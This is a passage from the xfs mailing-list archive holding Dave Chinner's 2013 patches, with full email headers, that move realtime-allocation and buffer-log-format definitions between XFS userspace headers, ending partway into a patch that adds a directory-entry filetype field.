(HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:45 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RT-0004Ik-0t for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RS-0002Kt-W3 for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 23/49] xfs: introduce xfs_rtalloc_defs.h Date: Fri, 19 Jul 2013 16:44:58 +1000 X-ASG-Orig-Subj: [PATCH 23/49] xfs: introduce xfs_rtalloc_defs.h Message-Id: <1374216324-8781-24-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216349 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner There are quite a few realtime device definitions shared with userspace. Move them from xfs_rtalloc.h to xfs_rt_alloc_defs.h so we don't need to share xfs_rtalloc.h with userspace anymore. This removes the final __KERNEL__ region from the XFS kernel codebase. Yay! Signed-off-by: Dave Chinner --- include/Makefile | 5 +- include/libxfs.h | 1 - include/xfs_format.h | 41 +++++++++++++ include/xfs_rtalloc.h | 166 -------------------------------------------------- include/xfs_types.h | 10 +++ 5 files changed, 55 insertions(+), 168 deletions(-) delete mode 100644 include/xfs_rtalloc.h diff --git a/include/Makefile b/include/Makefile index ab71aad..3610726 100644 --- a/include/Makefile +++ b/include/Makefile @@ -35,7 +35,10 @@ QAHFILES = libxfs.h libxlog.h \ xfs_log_format.h \ xfs_log_recover.h \ xfs_metadump.h \ - xfs_mount.h xfs_quota.h xfs_rtalloc.h xfs_sb.h xfs_symlink.h \ + xfs_mount.h \ + xfs_quota.h \ + xfs_sb.h \ + xfs_symlink.h \ xfs_trace.h xfs_trans.h xfs_trans_space.h xfs_dfrag.h HFILES = handle.h jdm.h xqm.h xfs.h xfs_fs.h xfs_types.h diff --git a/include/libxfs.h b/include/libxfs.h index bc90082..8c09b77 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -614,7 +614,6 @@ extern int libxfs_nproc(void); extern unsigned long libxfs_physmem(void); /* in kilobytes */ #include -#include #include #include diff --git a/include/xfs_format.h b/include/xfs_format.h index 2b4f166..6205374 100644 --- a/include/xfs_format.h +++ b/include/xfs_format.h @@ -28,6 +28,47 @@ */ /* + * RealTime Device format definitions + */ + +/* Min and max rt extent sizes, specified in bytes */ +#define XFS_MAX_RTEXTSIZE (1024 * 1024 * 1024) /* 1GB */ +#define XFS_DFL_RTEXTSIZE (64 * 1024) /* 64kB */ +#define XFS_MIN_RTEXTSIZE (4 * 1024) /* 4kB */ + +#define XFS_BLOCKSIZE(mp) ((mp)->m_sb.sb_blocksize) +#define XFS_BLOCKMASK(mp) ((mp)->m_blockmask) +#define XFS_BLOCKWSIZE(mp) ((mp)->m_blockwsize) +#define XFS_BLOCKWMASK(mp) ((mp)->m_blockwmask) + +/* + * RT Summary and bit manipulation macros. + */ +#define XFS_SUMOFFS(mp,ls,bb) ((int)((ls) * (mp)->m_sb.sb_rbmblocks + (bb))) +#define XFS_SUMOFFSTOBLOCK(mp,s) \ + (((s) * (uint)sizeof(xfs_suminfo_t)) >> (mp)->m_sb.sb_blocklog) +#define XFS_SUMPTR(mp,bp,so) \ + ((xfs_suminfo_t *)((bp)->b_addr + \ + (((so) * (uint)sizeof(xfs_suminfo_t)) & XFS_BLOCKMASK(mp)))) + +#define XFS_BITTOBLOCK(mp,bi) ((bi) >> (mp)->m_blkbit_log) +#define XFS_BLOCKTOBIT(mp,bb) ((bb) << (mp)->m_blkbit_log) +#define XFS_BITTOWORD(mp,bi) \ + ((int)(((bi) >> XFS_NBWORDLOG) & XFS_BLOCKWMASK(mp))) + +#define XFS_RTMIN(a,b) ((a) < (b) ? (a) : (b)) +#define XFS_RTMAX(a,b) ((a) > (b) ? (a) : (b)) + +#define XFS_RTLOBIT(w) xfs_lowbit32(w) +#define XFS_RTHIBIT(w) xfs_highbit32(w) + +#if XFS_BIG_BLKNOS +#define XFS_RTBLOCKLOG(b) xfs_highbit64(b) +#else +#define XFS_RTBLOCKLOG(b) xfs_highbit32(b) +#endif + +/* * Dquot and dquot block format definitions */ #define XFS_DQUOT_MAGIC 0x4451 /* 'DQ' */ diff --git a/include/xfs_rtalloc.h b/include/xfs_rtalloc.h deleted file mode 100644 index f7f3a35..0000000 --- a/include/xfs_rtalloc.h +++ /dev/null @@ -1,166 +0,0 @@ -/* - * Copyright (c) 2000-2003,2005 Silicon Graphics, Inc. - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ -#ifndef __XFS_RTALLOC_H__ -#define __XFS_RTALLOC_H__ - -struct xfs_mount; -struct xfs_trans; - -/* Min and max rt extent sizes, specified in bytes */ -#define XFS_MAX_RTEXTSIZE (1024 * 1024 * 1024) /* 1GB */ -#define XFS_DFL_RTEXTSIZE (64 * 1024) /* 64kB */ -#define XFS_MIN_RTEXTSIZE (4 * 1024) /* 4kB */ - -/* - * Constants for bit manipulations. - */ -#define XFS_NBBYLOG 3 /* log2(NBBY) */ -#define XFS_WORDLOG 2 /* log2(sizeof(xfs_rtword_t)) */ -#define XFS_NBWORDLOG (XFS_NBBYLOG + XFS_WORDLOG) -#define XFS_NBWORD (1 << XFS_NBWORDLOG) -#define XFS_WORDMASK ((1 << XFS_WORDLOG) - 1) - -#define XFS_BLOCKSIZE(mp) ((mp)->m_sb.sb_blocksize) -#define XFS_BLOCKMASK(mp) ((mp)->m_blockmask) -#define XFS_BLOCKWSIZE(mp) ((mp)->m_blockwsize) -#define XFS_BLOCKWMASK(mp) ((mp)->m_blockwmask) - -/* - * Summary and bit manipulation macros. - */ -#define XFS_SUMOFFS(mp,ls,bb) ((int)((ls) * (mp)->m_sb.sb_rbmblocks + (bb))) -#define XFS_SUMOFFSTOBLOCK(mp,s) \ - (((s) * (uint)sizeof(xfs_suminfo_t)) >> (mp)->m_sb.sb_blocklog) -#define XFS_SUMPTR(mp,bp,so) \ - ((xfs_suminfo_t *)((bp)->b_addr + \ - (((so) * (uint)sizeof(xfs_suminfo_t)) & XFS_BLOCKMASK(mp)))) - -#define XFS_BITTOBLOCK(mp,bi) ((bi) >> (mp)->m_blkbit_log) -#define XFS_BLOCKTOBIT(mp,bb) ((bb) << (mp)->m_blkbit_log) -#define XFS_BITTOWORD(mp,bi) \ - ((int)(((bi) >> XFS_NBWORDLOG) & XFS_BLOCKWMASK(mp))) - -#define XFS_RTMIN(a,b) ((a) < (b) ? (a) : (b)) -#define XFS_RTMAX(a,b) ((a) > (b) ? (a) : (b)) - -#define XFS_RTLOBIT(w) xfs_lowbit32(w) -#define XFS_RTHIBIT(w) xfs_highbit32(w) - -#if XFS_BIG_BLKNOS -#define XFS_RTBLOCKLOG(b) xfs_highbit64(b) -#else -#define XFS_RTBLOCKLOG(b) xfs_highbit32(b) -#endif - - -#ifdef __KERNEL__ - -#ifdef CONFIG_XFS_RT -/* - * Function prototypes for exported functions. - */ - -/* - * Allocate an extent in the realtime subvolume, with the usual allocation - * parameters. The length units are all in realtime extents, as is the - * result block number. - */ -int /* error */ -xfs_rtallocate_extent( - struct xfs_trans *tp, /* transaction pointer */ - xfs_rtblock_t bno, /* starting block number to allocate */ - xfs_extlen_t minlen, /* minimum length to allocate */ - xfs_extlen_t maxlen, /* maximum length to allocate */ - xfs_extlen_t *len, /* out: actual length allocated */ - xfs_alloctype_t type, /* allocation type XFS_ALLOCTYPE... */ - int wasdel, /* was a delayed allocation extent */ - xfs_extlen_t prod, /* extent product factor */ - xfs_rtblock_t *rtblock); /* out: start block allocated */ - -/* - * Free an extent in the realtime subvolume. Length is expressed in - * realtime extents, as is the block number. - */ -int /* error */ -xfs_rtfree_extent( - struct xfs_trans *tp, /* transaction pointer */ - xfs_rtblock_t bno, /* starting block number to free */ - xfs_extlen_t len); /* length of extent freed */ - -/* - * Initialize realtime fields in the mount structure. - */ -int /* error */ -xfs_rtmount_init( - struct xfs_mount *mp); /* file system mount structure */ -void -xfs_rtunmount_inodes( - struct xfs_mount *mp); - -/* - * Get the bitmap and summary inodes into the mount structure - * at mount time. - */ -int /* error */ -xfs_rtmount_inodes( - struct xfs_mount *mp); /* file system mount structure */ - -/* - * Pick an extent for allocation at the start of a new realtime file. - * Use the sequence number stored in the atime field of the bitmap inode. - * Translate this to a fraction of the rtextents, and return the product - * of rtextents and the fraction. - * The fraction sequence is 0, 1/2, 1/4, 3/4, 1/8, ..., 7/8, 1/16, ... - */ -int /* error */ -xfs_rtpick_extent( - struct xfs_mount *mp, /* file system mount point */ - struct xfs_trans *tp, /* transaction pointer */ - xfs_extlen_t len, /* allocation length (rtextents) */ - xfs_rtblock_t *pick); /* result rt extent */ - -/* - * Grow the realtime area of the filesystem. - */ -int -xfs_growfs_rt( - struct xfs_mount *mp, /* file system mount structure */ - xfs_growfs_rt_t *in); /* user supplied growfs struct */ - -#else -# define xfs_rtallocate_extent(t,b,min,max,l,a,f,p,rb) (ENOSYS) -# define xfs_rtfree_extent(t,b,l) (ENOSYS) -# define xfs_rtpick_extent(m,t,l,rb) (ENOSYS) -# define xfs_growfs_rt(mp,in) (ENOSYS) -static inline int /* error */ -xfs_rtmount_init( - xfs_mount_t *mp) /* file system mount structure */ -{ - if (mp->m_sb.sb_rblocks == 0) - return 0; - - xfs_warn(mp, "Not built with CONFIG_XFS_RT"); - return ENOSYS; -} -# define xfs_rtmount_inodes(m) (((mp)->m_sb.sb_rblocks == 0)? 0 : (ENOSYS)) -# define xfs_rtunmount_inodes(m) -#endif /* CONFIG_XFS_RT */ - -#endif /* __KERNEL__ */ - -#endif /* __XFS_RTALLOC_H__ */ diff --git a/include/xfs_types.h b/include/xfs_types.h index b144a8f..6ed6b26 100644 --- a/include/xfs_types.h +++ b/include/xfs_types.h @@ -184,4 +184,14 @@ struct xfs_name { */ typedef __uint32_t xfs_dqid_t; +/* + * Constants for bit manipulations. + */ +#define XFS_NBBYLOG 3 /* log2(NBBY) */ +#define XFS_WORDLOG 2 /* log2(sizeof(xfs_rtword_t)) */ +#define XFS_NBWORDLOG (XFS_NBBYLOG + XFS_WORDLOG) +#define XFS_NBWORD (1 << XFS_NBWORDLOG) +#define XFS_WORDMASK ((1 << XFS_WORDLOG) - 1) + + #endif /* __XFS_TYPES_H__ */ -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:46:25 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 033118083 for ; Fri, 19 Jul 2013 01:45:52 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 792D4AC001 for ; Thu, 18 Jul 2013 23:45:51 -0700 (PDT) X-ASG-Debug-ID: 1374216331-04cb6c2a47ed669000a-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id kaxAKLEshfdYO8Rd for ; Thu, 18 Jul 2013 23:45:49 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAMLf6FF5LK4r/2dsb2JhbABSCIMGwUYEgRUXdIIkAQEFJy8zCBgxOQMbGYgPtiOOWRmFIAOpKoMkKg Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:44 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RS-0004Ic-Tx for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RS-0002KU-Sm for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 18/49] xfs: split out buf log item format definitions Date: Fri, 19 Jul 2013 16:44:53 +1000 X-ASG-Orig-Subj: [PATCH 18/49] xfs: split out buf log item format definitions Message-Id: <1374216324-8781-19-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216349 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Signed-off-by: Dave Chinner --- include/Makefile | 4 +- include/libxfs.h | 6 +- include/libxlog.h | 1 - include/xfs_buf_item.h | 172 ----------------------------------------------- include/xfs_log_format.h | 97 ++++++++++++++++++++++++++ 5 files changed, 105 insertions(+), 175 deletions(-) delete mode 100644 include/xfs_buf_item.h diff --git a/include/Makefile b/include/Makefile index 722aef3..f5c50b7 100644 --- a/include/Makefile +++ b/include/Makefile @@ -23,7 +23,9 @@ QAHFILES = libxfs.h libxlog.h \ swab.h \ xfs_ag.h xfs_alloc.h xfs_alloc_btree.h xfs_arch.h xfs_attr_leaf.h \ xfs_attr_sf.h xfs_bit.h xfs_bmap.h xfs_bmap_btree.h xfs_btree.h \ - xfs_btree_trace.h xfs_buf_item.h xfs_cksum.h xfs_da_btree.h \ + xfs_btree_trace.h \ + xfs_cksum.h \ + xfs_da_btree.h \ xfs_dinode.h xfs_dir2.h xfs_dir2_format.h \ xfs_extfree_item.h xfs_ialloc.h xfs_ialloc_btree.h \ xfs_icreate_item.h \ diff --git a/include/libxfs.h b/include/libxfs.h index c96857b..40e5e25 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -52,7 +52,6 @@ #include #include #include -#include #include #include #include @@ -438,6 +437,11 @@ typedef struct xfs_buf_log_item { xfs_buf_log_format_t bli_format; /* in-log header */ } xfs_buf_log_item_t; +#define XFS_BLI_DIRTY (1<<0) +#define XFS_BLI_HOLD (1<<1) +#define XFS_BLI_STALE (1<<2) +#define XFS_BLI_INODE_ALLOC_BUF (1<<3) + #include typedef struct xfs_trans { diff --git a/include/libxlog.h b/include/libxlog.h index 301e3dd..08f5dbb 100644 --- a/include/libxlog.h +++ b/include/libxlog.h @@ -48,7 +48,6 @@ struct xlog { }; #include -#include #include #include diff --git a/include/xfs_buf_item.h b/include/xfs_buf_item.h deleted file mode 100644 index 2573d2a..0000000 --- a/include/xfs_buf_item.h +++ /dev/null @@ -1,172 +0,0 @@ -/* - * Copyright (c) 2000-2001,2005 Silicon Graphics, Inc. - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ -#ifndef __XFS_BUF_ITEM_H__ -#define __XFS_BUF_ITEM_H__ - -extern kmem_zone_t *xfs_buf_item_zone; - -/* - * This flag indicates that the buffer contains on disk inodes - * and requires special recovery handling. - */ -#define XFS_BLF_INODE_BUF (1<<0) -/* - * This flag indicates that the buffer should not be replayed - * during recovery because its blocks are being freed. - */ -#define XFS_BLF_CANCEL (1<<1) - -/* - * This flag indicates that the buffer contains on disk - * user or group dquots and may require special recovery handling. - */ -#define XFS_BLF_UDQUOT_BUF (1<<2) -#define XFS_BLF_PDQUOT_BUF (1<<3) -#define XFS_BLF_GDQUOT_BUF (1<<4) - -#define XFS_BLF_CHUNK 128 -#define XFS_BLF_SHIFT 7 -#define BIT_TO_WORD_SHIFT 5 -#define NBWORD (NBBY * sizeof(unsigned int)) - -/* - * This is the structure used to lay out a buf log item in the - * log. The data map describes which 128 byte chunks of the buffer - * have been logged. - */ -#define XFS_BLF_DATAMAP_SIZE ((XFS_MAX_BLOCKSIZE / XFS_BLF_CHUNK) / NBWORD) - -typedef struct xfs_buf_log_format { - unsigned short blf_type; /* buf log item type indicator */ - unsigned short blf_size; /* size of this item */ - ushort blf_flags; /* misc state */ - ushort blf_len; /* number of blocks in this buf */ - __int64_t blf_blkno; /* starting blkno of this buf */ - unsigned int blf_map_size; /* used size of data bitmap in words */ - unsigned int blf_data_map[XFS_BLF_DATAMAP_SIZE]; /* dirty bitmap */ -} xfs_buf_log_format_t; - -/* - * All buffers now need to tell recovery where the magic number - * is so that it can verify and calculate the CRCs on the buffer correctly - * once the changes have been replayed into the buffer. - * - * The type value is held in the upper 5 bits of the blf_flags field, which is - * an unsigned 16 bit field. Hence we need to shift it 11 bits up and down. - */ -#define XFS_BLFT_BITS 5 -#define XFS_BLFT_SHIFT 11 -#define XFS_BLFT_MASK (((1 << XFS_BLFT_BITS) - 1) << XFS_BLFT_SHIFT) - -enum xfs_blft { - XFS_BLFT_UNKNOWN_BUF = 0, - XFS_BLFT_UDQUOT_BUF, - XFS_BLFT_PDQUOT_BUF, - XFS_BLFT_GDQUOT_BUF, - XFS_BLFT_BTREE_BUF, - XFS_BLFT_AGF_BUF, - XFS_BLFT_AGFL_BUF, - XFS_BLFT_AGI_BUF, - XFS_BLFT_DINO_BUF, - XFS_BLFT_SYMLINK_BUF, - XFS_BLFT_DIR_BLOCK_BUF, - XFS_BLFT_DIR_DATA_BUF, - XFS_BLFT_DIR_FREE_BUF, - XFS_BLFT_DIR_LEAF1_BUF, - XFS_BLFT_DIR_LEAFN_BUF, - XFS_BLFT_DA_NODE_BUF, - XFS_BLFT_ATTR_LEAF_BUF, - XFS_BLFT_ATTR_RMT_BUF, - XFS_BLFT_SB_BUF, - XFS_BLFT_MAX_BUF = (1 << XFS_BLFT_BITS), -}; - -static inline void -xfs_blft_to_flags(struct xfs_buf_log_format *blf, enum xfs_blft type) -{ - ASSERT(type > XFS_BLFT_UNKNOWN_BUF && type < XFS_BLFT_MAX_BUF); - blf->blf_flags &= ~XFS_BLFT_MASK; - blf->blf_flags |= ((type << XFS_BLFT_SHIFT) & XFS_BLFT_MASK); -} - -static inline __uint16_t -xfs_blft_from_flags(struct xfs_buf_log_format *blf) -{ - return (blf->blf_flags & XFS_BLFT_MASK) >> XFS_BLFT_SHIFT; -} - -/* - * buf log item flags - */ -#define XFS_BLI_HOLD 0x01 -#define XFS_BLI_DIRTY 0x02 -#define XFS_BLI_STALE 0x04 -#define XFS_BLI_LOGGED 0x08 -#define XFS_BLI_INODE_ALLOC_BUF 0x10 -#define XFS_BLI_STALE_INODE 0x20 -#define XFS_BLI_INODE_BUF 0x40 - -#define XFS_BLI_FLAGS \ - { XFS_BLI_HOLD, "HOLD" }, \ - { XFS_BLI_DIRTY, "DIRTY" }, \ - { XFS_BLI_STALE, "STALE" }, \ - { XFS_BLI_LOGGED, "LOGGED" }, \ - { XFS_BLI_INODE_ALLOC_BUF, "INODE_ALLOC" }, \ - { XFS_BLI_STALE_INODE, "STALE_INODE" }, \ - { XFS_BLI_INODE_BUF, "INODE_BUF" } - - -#ifdef __KERNEL__ - -struct xfs_buf; -struct xfs_mount; -struct xfs_buf_log_item; - -/* - * This is the in core log item structure used to track information - * needed to log buffers. It tracks how many times the lock has been - * locked, and which 128 byte chunks of the buffer are dirty. - */ -typedef struct xfs_buf_log_item { - xfs_log_item_t bli_item; /* common item structure */ - struct xfs_buf *bli_buf; /* real buffer pointer */ - unsigned int bli_flags; /* misc flags */ - unsigned int bli_recur; /* lock recursion count */ - atomic_t bli_refcount; /* cnt of tp refs */ - int bli_format_count; /* count of headers */ - struct xfs_buf_log_format *bli_formats; /* array of in-log header ptrs */ - struct xfs_buf_log_format __bli_format; /* embedded in-log header */ -} xfs_buf_log_item_t; - -void xfs_buf_item_init(struct xfs_buf *, struct xfs_mount *); -void xfs_buf_item_relse(struct xfs_buf *); -void xfs_buf_item_log(xfs_buf_log_item_t *, uint, uint); -uint xfs_buf_item_dirty(xfs_buf_log_item_t *); -void xfs_buf_attach_iodone(struct xfs_buf *, - void(*)(struct xfs_buf *, xfs_log_item_t *), - xfs_log_item_t *); -void xfs_buf_iodone_callbacks(struct xfs_buf *); -void xfs_buf_iodone(struct xfs_buf *, struct xfs_log_item *); - -void xfs_trans_buf_set_type(struct xfs_trans *, struct xfs_buf *, - enum xfs_blft); -void xfs_trans_buf_copy_type(struct xfs_buf *dst_bp, struct xfs_buf *src_bp); - -#endif /* __KERNEL__ */ - -#endif /* __XFS_BUF_ITEM_H__ */ diff --git a/include/xfs_log_format.h b/include/xfs_log_format.h index fd46a7f..77a6024 100644 --- a/include/xfs_log_format.h +++ b/include/xfs_log_format.h @@ -364,4 +364,101 @@ static inline uint xfs_icdinode_size(int version) return sizeof(struct xfs_icdinode); return offsetof(struct xfs_icdinode, di_next_unlinked); } + +/* + * Buffer Log Format defintions + * + * These are the physical dirty bitmap defintions for the log format structure. + */ +#define XFS_BLF_CHUNK 128 +#define XFS_BLF_SHIFT 7 +#define BIT_TO_WORD_SHIFT 5 +#define NBWORD (NBBY * sizeof(unsigned int)) + +/* + * This flag indicates that the buffer contains on disk inodes + * and requires special recovery handling. + */ +#define XFS_BLF_INODE_BUF (1<<0) + +/* + * This flag indicates that the buffer should not be replayed + * during recovery because its blocks are being freed. + */ +#define XFS_BLF_CANCEL (1<<1) + +/* + * This flag indicates that the buffer contains on disk + * user or group dquots and may require special recovery handling. + */ +#define XFS_BLF_UDQUOT_BUF (1<<2) +#define XFS_BLF_PDQUOT_BUF (1<<3) +#define XFS_BLF_GDQUOT_BUF (1<<4) + +/* + * This is the structure used to lay out a buf log item in the + * log. The data map describes which 128 byte chunks of the buffer + * have been logged. + */ +#define XFS_BLF_DATAMAP_SIZE ((XFS_MAX_BLOCKSIZE / XFS_BLF_CHUNK) / NBWORD) + +typedef struct xfs_buf_log_format { + unsigned short blf_type; /* buf log item type indicator */ + unsigned short blf_size; /* size of this item */ + ushort blf_flags; /* misc state */ + ushort blf_len; /* number of blocks in this buf */ + __int64_t blf_blkno; /* starting blkno of this buf */ + unsigned int blf_map_size; /* used size of data bitmap in words */ + unsigned int blf_data_map[XFS_BLF_DATAMAP_SIZE]; /* dirty bitmap */ +} xfs_buf_log_format_t; + +/* + * All buffers now need to tell recovery where the magic number + * is so that it can verify and calculate the CRCs on the buffer correctly + * once the changes have been replayed into the buffer. + * + * The type value is held in the upper 5 bits of the blf_flags field, which is + * an unsigned 16 bit field. Hence we need to shift it 11 bits up and down. + */ +#define XFS_BLFT_BITS 5 +#define XFS_BLFT_SHIFT 11 +#define XFS_BLFT_MASK (((1 << XFS_BLFT_BITS) - 1) << XFS_BLFT_SHIFT) + +enum xfs_blft { + XFS_BLFT_UNKNOWN_BUF = 0, + XFS_BLFT_UDQUOT_BUF, + XFS_BLFT_PDQUOT_BUF, + XFS_BLFT_GDQUOT_BUF, + XFS_BLFT_BTREE_BUF, + XFS_BLFT_AGF_BUF, + XFS_BLFT_AGFL_BUF, + XFS_BLFT_AGI_BUF, + XFS_BLFT_DINO_BUF, + XFS_BLFT_SYMLINK_BUF, + XFS_BLFT_DIR_BLOCK_BUF, + XFS_BLFT_DIR_DATA_BUF, + XFS_BLFT_DIR_FREE_BUF, + XFS_BLFT_DIR_LEAF1_BUF, + XFS_BLFT_DIR_LEAFN_BUF, + XFS_BLFT_DA_NODE_BUF, + XFS_BLFT_ATTR_LEAF_BUF, + XFS_BLFT_ATTR_RMT_BUF, + XFS_BLFT_SB_BUF, + XFS_BLFT_MAX_BUF = (1 << XFS_BLFT_BITS), +}; + +static inline void +xfs_blft_to_flags(struct xfs_buf_log_format *blf, enum xfs_blft type) +{ + ASSERT(type > XFS_BLFT_UNKNOWN_BUF && type < XFS_BLFT_MAX_BUF); + blf->blf_flags &= ~XFS_BLFT_MASK; + blf->blf_flags |= ((type << XFS_BLFT_SHIFT) & XFS_BLFT_MASK); +} + +static inline __uint16_t +xfs_blft_from_flags(struct xfs_buf_log_format *blf) +{ + return (blf->blf_flags & XFS_BLFT_MASK) >> XFS_BLFT_SHIFT; +} + #endif /* __XFS_LOG_FORMAT_H__ */ -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:46:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D11938019 for ; Fri, 19 Jul 2013 01:45:49 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3285FAC00E for ; Thu, 18 Jul 2013 23:45:49 -0700 (PDT) X-ASG-Debug-ID: 1374216332-04cb6c2a42ed6690008-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id y3elsxhmnfw4ziRE for ; Thu, 18 Jul 2013 23:45:43 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApscAMLf6FF5LK4r/2dsb2JhbABagwY1rQ0ClAIEgRUXdIIkAQEFGgEMLzMIGBgZOQMbGYgPtiOOcoEug3IDlAaFAJAkgyQqgSwCHgQC Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:35 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RT-0004Jr-I5 for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RT-0002Mp-H3 for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 47/49] xfs: Add read-only support for dirent filetype field Date: Fri, 19 Jul 2013 16:45:22 +1000 X-ASG-Orig-Subj: [PATCH 47/49] xfs: Add read-only support for dirent filetype field Message-Id: <1374216324-8781-48-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216342 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Add support for the file type field in directory entries so that readdir can return the type of the inode the dirent points to to userspace without first having to read the inode off disk. The encoding of the type field is a single byte that is added to the end of the directory entry name length. For all intents and purposes, it appends a "hidden" byte to the name field which contains the type information. As the directory entry is already of dynamic size, helpers are already required to access and decode the direct entry structures. Hence the relevent extraction and iteration helpers are updated to understand the hidden byte. Helpers for reading and 